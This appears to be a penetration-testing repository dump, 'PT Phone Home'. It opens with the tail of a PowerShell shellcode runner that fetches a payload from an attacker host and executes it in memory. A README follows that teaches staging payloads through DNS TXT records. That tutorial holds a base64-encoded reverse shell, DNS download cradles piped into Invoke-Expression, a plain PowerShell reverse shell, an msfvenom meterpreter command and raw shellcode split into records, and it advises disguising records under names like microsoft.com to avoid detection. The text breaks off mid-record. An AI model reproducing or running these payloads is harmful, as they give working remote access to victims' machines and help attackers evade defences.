[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40) 25 | $WC = New-Object System.Net.WebClient 26 | $WC.Headers.Add('user-agent','Mozilla/5.0 (X11; Linux x86_64; rv:102.00) Gecko/20100101 Firefox/102.00') 27 | $WC.Headers.Add('Client-IP','192.168.0.29') 28 | [Byte[]]$buf = $WC.DownloadString('http://192.168.0.21/payload.php?handler') -split ',' 29 | [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length) 30 | $hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread),(getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0, $lpMem, [IntPtr]::Zero, 0, [IntPtr]::Zero) 31 | [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF) 32 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PT Phone Home 2 | 3 | As penetration testers, we often come up with creative methods to deliver and execute our payloads, such as _staged payloads_. A staged payload contains just enough code to call back to a system under our control and retrieve the remaining code necessary for us to complete our task, such as to establish a reverse shell. One of the more common frameworks for this that most of us have become accustomed to using staged payloads with is the _Metasploit Framework_. 4 | 5 | The concept of a staged payload is very useful and can be incorporated into various other strategies to prevent embedding too much information. This becomes equally as important when the more common techniques keep getting busted by various endpoint defenses. 6 | 7 | What I'm looking to impart unto you are techniques you can employ to create your own methods to deliver staged payloads, right from Kali Linux. We will kick this off by demonstrating how you can accomplish this through DNS. 8 | 9 | * Part 1 - [DNS Smuggling](#dns-smuggling) 10 | * Part 2 - [PHP Web Pages](#php-web-pages) 11 | 12 | ## DNS Smuggling 13 | 14 | * DNS Server 15 | * TXT Records 16 | * Chunking Payloads 17 | * Staged Listener 18 | * Staged Shellcode 19 | * Staged Scripts 20 | 21 | One of the benefits of DNS is that it’s a protocol that is nearly a guarantee to be accessible through an endpoint firewall. Although it’s expected for a specific set of DNS servers to be configured on a client, it’s not all that common for DNS traffic to be explicitly restricted to that same set of configured servers. In addition to this, it's equally as uncommon for local DNS traffic to be monitored when it doesn't go through this set of servers. 22 | 23 | This makes DNS a valuable tool for us to use to our advantage as we can use it to host DNS records that contain data we can incorporate into our payloads. In particular, we'll demonstrate three different types of staged payloads we can stage in DNS, a listener address, shellcode and even an entire script. 24 | 25 | ### DNS Server 26 | 27 | One of the ways we can have a DNS server run on Kali Linux is through the use of _Dnsmasq_. Dnsmasq is a lightweight utility that’s able to provide both DNS and DHCP services. This utility contains a simple conf file and for our purposes will be trivially smaller than most configurations. 28 | 29 | Let's kick this off by installing Dnsmasq on our Kali machine. Once the package has finished installing, we'll make a copy of the default conf file in case we need to fall back to it. 30 | 31 | ``` 32 | ┌──(kali㉿kali)-[~] 33 | └─$ sudo apt install dnsmasq -y 34 | 35 | ┌──(kali㉿kali)-[~] 36 | └─$ sudo cp /etc/dnsmasq.conf /etc/dnsmasq.conf.orig 37 | ``` 38 | 39 | We’re going to work off of the original file vs creating a blank config file as it contains helpful comments that will help explain other configuration items in the event you want to expand upon your implementation. 40 | 41 | For this stage of our setup, we are going to focus on four configurable settings. These settings will help keep our implementation lean and ensure that any of our DNS requests do not get forwarded to any upstream servers, which could bust us. 42 | 43 | | Configuration | Description | 44 | | :------------ | :---------- | 45 | | no-resolv | Do not obtain upstream DNS servers from /etc/resolv 46 | | listen-address | The address(es) to listen on for DNS requests 47 | | no-hosts | Do not obtain any configured hosts in /etc/hosts 48 | | log-queries | Log every DNS request and reply that’s processed 49 | 50 | These settings already exist within the default _dnsmasq.conf_ file but are commented out. To enable them, simply remove the _#_ next to the applicable line. Of these settings, the only one that expects a value is _listen-address_. For this setting, we’ll assign two ip addresses, the _loopback address_ for testing and the ip address of our Kali Linux machine. 51 | 52 | ![](./Screenshots/dns-1.png) 53 | 54 | After we finish applying our settings, we’ll save the file and do a quick spot check. 55 | 56 | ![](./Screenshots/dns-2.png) 57 | 58 | Things are looking good enough for us to try to start up our server. Instead of enabling Dnsmasq as a service, we'll manually run Dnsmasq with the _-C_ and _-d_ parameters to declare the path to our config file and instruct it to run in debug mode. Running Dnsmasq in debug mode helps us out by being able to see DNS requests/replies as well as any errors that may occur for troubleshooting from the terminal. 59 | 60 | ![](./Screenshots/dns-3.png) 61 | 62 | If everything is working as intended, we should be able to issue a DNS request using _dig_ and designating the loopback address as the server. If we divert our attention over to the terminal where we have Dnsmasq running, we’ll see the DNS request for the A record of `canyouseeme`. Since this isn’t known to Dnsmasq, you’ll see a config error of REFUSED, which is fine. 63 | 64 | ![](./Screenshots/dns-4.png) 65 | 66 | Excellent, we have a functioning DNS server running on our Kali Linux machine. Our next step is where it starts getting fun, where we configure DNS records that contain data for our payloads. 67 | 68 | ### TXT Records 69 | 70 | At a very simplified level, a DNS server is used to map names to IP addresses through records assigned to a DNS server. The more commonly known DNS records are MX, NS and A records. However, for our objective, we’re going to use TXT records, which is a record that can contain up to 255 characters of text. 71 | 72 | TXT records are frequently used for sender policy framework (SPF) records as well as for domain verification purposes. Domain verification is when a vendor wants an administrator to prove they own a given domain before being incorporated into a service by having the admin publish a uniquely assigned value to a TXT record for the domain which can be easily retrieved and verified. We’ll use these TXT records to host arbitrary payloads that we can retrieve through DNS requests. 73 | 74 | In order to add a TXT record to our Dnsmasq instance we’ll need to add them to our config file. An example of a TXT record already exists in our conf file, starting with `#txt-record=`. 75 | 76 | This entry requires two components, the domain name that contains the record and the value itself. To demonstrate this, we’ll add the following record to our conf: 77 | 78 | ![](./Screenshots/dns-5.png) 79 | 80 | Keep in mind that because this is our DNS server, the domain name can be anything we want. You can make it something fun for testing, or something that appears legitimate for an added level of stealth in the event the traffic is being monitored. 81 | 82 | After we add the new setting, we’ll need to restart our Dnsmasq instance and use _dig_ again to retrieve the TXT record for _tristram.pwn_. If we look back at our terminal running Dnsmasq we’ll also see the query and response that was sent back to the client. 83 | 84 | ![](./Screenshots/dns-6.png) 85 | 86 | Now we’ll take this a step further by replacing our TXT record with the PowerShell cmdlet _Get-Service_, that we'll retrieve and execute from our victim machine. 87 | 88 | ![](./Screenshots/dns-7.png) 89 | 90 | We will retrieve this record on our victim machine through the use of the _Resolve-DnsName_ cmdlet. We will then access the _Strings_ property which will contain the TXT record value that’ll pass to _Invoke-Expression_, ultimately resulting in the execution of the cmdlet we stored in the TXT record. 91 | 92 | ```powershell 93 | PS C:\> Invoke-Expression $((Resolve-DnsName -Name tristram.pwn -Type 'txt' -Server 192.168.0.21 -DnsOnly).Strings) 94 | Status Name DisplayName 95 | ------ ---- ----------- 96 | Stopped AarSvc_736e5 Agent Activation Runtime_736e5 97 | Stopped AJRouter AllJoyn Router Service 98 | ``` 99 | 100 | In the event the machine doesn't have this cmdlet available, we can use the native _nslookup_ command instead, with some added formatting to extract our data. 101 | 102 | ```powershell 103 | PS C:\> iex ((nslookup -type=TXT tristram.pwn 192.168.0.21)[5]).replace('"','').trim() 104 | Status Name DisplayName 105 | ------ ---- ----------- 106 | Stopped AarSvc_736e5 Agent Activation Runtime_736e5 107 | Stopped AJRouter AllJoyn Router Service 108 | ``` 109 | 110 | Great, now we have a functioning DNS server that we can use to host TXT records. While storing small values is relatively straightforward, we’ll need to try harder if we want to incorporate larger payloads. 111 | 112 | ### Chunking Payloads 113 | 114 | Payloads will vary in size depending on what you're trying to accomplish. While it's easy to work with payloads that are under the 255 character size threshold, you could easily exceed that limit if you end up encoding your payload. In those cases, we will need to split them up into individual records that encompass the entire payload instead. 115 | 116 | Let's take a look at how we would handle payloads that exceed the threshold by using a base64 encoded reverse shell. 117 | 118 | ``` 119 | JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADAALgAyADEAIgAsADQANAAzACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA== 120 | ``` 121 | 122 | We need to split this into individual records that contain no more than 255 characters, or any other value that doesn't exceed the size threshold. This is trivial to accomplish, but if our payload is split into numerous records, we'll need a way to dynamically retrieve our entire payload. One way for us to facilitate this is to register a TXT record that contains the total number of records that make up our entire payload. In addition to this, for every subsequent record, we'll prepend its domain name with the corresponding chunked payload position. 123 | 124 | This is a bit of a pain to do manually, so we'll use a simple helper function called `Format-StringToTxtRecord`. This function will split our payload based on our designated number of characters and convert them into individual TXT records for us to include in our conf file. 125 | 126 | ```powershell 127 | PS C:\> $String = 'JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADAALgAyADEAIgAsADQANAAzACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==' 128 | PS C:\> Format-StringToTxtRecord -String $String -Name tristram.pwn -Characters 255 129 | txt-record=1.tristram.pwn,"JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADAALgAyADEAIgAsADQANAAzACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGE" 130 | txt-record=2.tristram.pwn,"AbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7AC" 131 | txt-record=3.tristram.pwn,"QAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlA" 132 | txt-record=4.tristram.pwn,"HgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4" 133 | txt-record=5.tristram.pwn,"AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB" 134 | txt-record=6.tristram.pwn,"1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==" 135 | txt-record=tristram.pwn,"6" 136 | ``` 137 | 138 | Now that our payload has been properly formatted to work in our config file, let’s break down exactly what we're working with. 139 | 140 | We have a single TXT record for _tristram.pwn_ that contains the value `6`. This tells us that we have 6 other records that make up our entire payload. To retrieve these records, we know that we need to make a DNS request to 1.tristram.pwn, 2.tristram.pwn, respectively. Once we do, we need to concatenate them to form our entire encoded payload. 141 | 142 | Let’s get our DNS server setup so we can try this out. We’ll start by copying our generated config setting into our Dnsmasq conf and restart the service. The order these records go into the file will not matter. 143 | 144 | At this point our config file looks like this: 145 | 146 | ``` 147 | ┌──(kali㉿kali)-[~] 148 | └─$ grep "^[^#]" /etc/dnsmasq.conf 149 | No-resolv 150 | listen-address=127.0.0.1,192.168.0.21 151 | No-hosts 152 | txt-record=1.tristram.pwn,"JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADAALgAyADEAIgAsADQANAAzACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGE" 153 | txt-record=2.tristram.pwn,"AbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7AC" 154 | txt-record=3.tristram.pwn,"QAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlA" 155 | txt-record=4.tristram.pwn,"HgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4" 156 | txt-record=5.tristram.pwn,"AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB" 157 | txt-record=6.tristram.pwn,"1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==" 158 | txt-record=tristram.pwn,"6" 159 | log-queries 160 | ``` 161 | 162 | From our victim machine we will turn the _Resolve-DnsName_ cmdlet into a download cradle that will retrieve the number of chunks, the subsequent chunks and join them together to form a string. Once the string has been formed, we will decode and execute it from our victim machine. 163 | 164 | ```powershell 165 | PS C:\> Invoke-Expression (([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($((1..$((Resolve-DnsName -Name tristram.pwn -Type 'txt' -Server 192.168.0.21 -DnsOnly).Strings) | % {$((Resolve-DnsName -Name $([System.String]$_+'.tristram.pwn') -Type txt -Server 192.168.0.21 -DnsOnly).Strings)}) -join ''))))) 166 | ``` 167 | 168 | If we go back to our terminal, we'll see the individual TXT lookups and a successful reverse shell. 169 | 170 | ![](./Screenshots/dns-8.png) 171 | 172 | Now that we know how to handle TXT records for larger payloads, the potential for more complex payloads is well within our grasp. Next we’ll take a look at staging a listener address. 173 | 174 | ### Staged Listener 175 | 176 | Keep in mind that large TXT records may stick out like a sore thumb, but not all payloads need to be huge. We can use the techniques we have learned to inject a simple payload such as a listener address into a simple reverse shell. 177 | 178 | We'll start off by creating a new TXT record, but will switch out our previous usage of _tristram.pwn_ with _microsoft.com_. This domain will contain a TXT record that contains the listener ip and port of our attacker machine in a `IP,PORT` format. By configuring the record with a reasonably looking name, it may not be immediately recognized as malicious. 179 | 180 | ![](./Screenshots/dns-9.png) 181 | 182 | Now we'll look at our reverse shell from earlier, which has been decoded and split for readability. What makes this payload different now is that we'll include a DNS request for the TXT record of _microsoft.com_ that is stored on our DNS server and store it in a variable. We’ll then use this variable as the input for the IP and port argument for our TCPClient by splitting the string into an array and specifying the corresponding index. 183 | 184 | ```powershell 185 | $DNS = (Resolve-DnsName -Name microsoft.com -Type 'txt' -Server 192.168.0.21 -DnsOnly).Strings 186 | $client = New-Object System.Net.Sockets.TCPClient($DNS.split(',')[0],$DNS.split(',')[1]); 187 | $stream = $client.GetStream(); 188 | [byte[]]$bytes = 0..65535|%{0}; 189 | while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) 190 | { 191 | $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); 192 | $sendback = (iex $data 2>&1 | Out-String ); 193 | $sendback2 = $sendback + "PS " + (pwd).Path + "> "; 194 | $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); 195 | $stream.Write($sendbyte,0,$sendbyte.Length); 196 | $stream.Flush() 197 | } 198 | $client.Close() 199 | ``` 200 | 201 | Once we execute this payload and return to our terminal, we'll see the TXT lookup for _microsoft.com_ followed by a successful reverse shell. 202 | 203 | ![](./Screenshots/dns-10.png) 204 | 205 | Although simple, we were able to prevent hardcoding our listener address information within the payload itself by retrieving it through a DNS lookup. 206 | 207 | ### Staged Shellcode 208 | 209 | Now we will take a look at using this technique to retrieve shellcode. In this scenario, we will use a PowerShell shellcode runner that will call out to our DNS server for the shellcode that needs to be executed. Let's start off by generating our shellcode with _msfvenom_. 210 | 211 | ``` 212 | ┌──(kali㉿kali)-[~] 213 | └─$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.0.21 LPORT=443 EXITFUNC=thread -f ps1 214 | ``` 215 | 216 | We will reuse our `Format-StringToTxtRecord` helper function to chunk our shellcode into individual TXT records that we’ll insert into our config file and restart Dnsmasq. 217 | 218 | ``` 219 | PS C:\> $String = '0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,0x51,0x56,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x4d,0x31,0xc9,0x48,0xf,0xb7,0x4a,0x4a,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x66,0x81,0x78,0x18,0xb,0x2,0xf,0x85,0x72,0x0,0x0,0x0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x8b,0x48,0x18,0x50,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x4d,0x31,0xc9,0x48,0x1,0xd6,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x0,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,0x7,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0xd,0x0,0x0,0x0,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x30,0x2e,0x32,0x31,0x0,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0xbb,0x1,0x0,0x0,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x3,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0x1f,0x0,0x0,0x0,0x2f,0x57,0x30,0x37,0x34,0x69,0x4e,0x45,0x31,0x70,0x48,0x56,0x69,0x75,0x57,0x4f,0x37,0x41,0x62,0x63,0x6e,0x34,0x51,0x75,0x77,0x69,0x34,0x52,0x49,0x57,0x0,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0xb8,0x0,0x32,0xa8,0x84,0x0,0x0,0x0,0x0,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0xa,0x5f,0x48,0x89,0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,0x0,0x0,0x49,0x89,0xe0,0x6a,0x4,0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x86,0x0,0x0,0x0,0x0,0xff,0xd5,0x4d,0x31,0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x6,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x0,0x0,0x49,0xba,0x44,0xf0,0x35,0xe0,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0xff,0xcf,0x74,0x2,0xeb,0xaa,0xe8,0x55,0x0,0x0,0x0,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x0,0x10,0x0,0x0,0x49,0xba,0x58,0xa4,0x53,0xe5,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0x0,0x20,0x0,0x0,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x7,0x48,0x1,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x0,0x59,0xbb,0xe0,0x1d,0x2a,0xa,0x41,0x89,0xda,0xff,0xd5' 220 | PS C:\> Format-StringToTxtRecord -String $String -Name microsoft.com -Characters 255 221 | 222 | txt-record=1.microsoft.com,"0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,0x51,0x56,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x4d,0x31,0xc9,0x48,0xf,0xb7,0x4a,0x4a,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c" 223 | txt-record=2.microsoft.com,",0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x66,0x81,0x78,0x18,0xb,0x2,0xf,0x85,0x72,0x0,0x0,0x0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x8b,0x48,0x1" 224 | 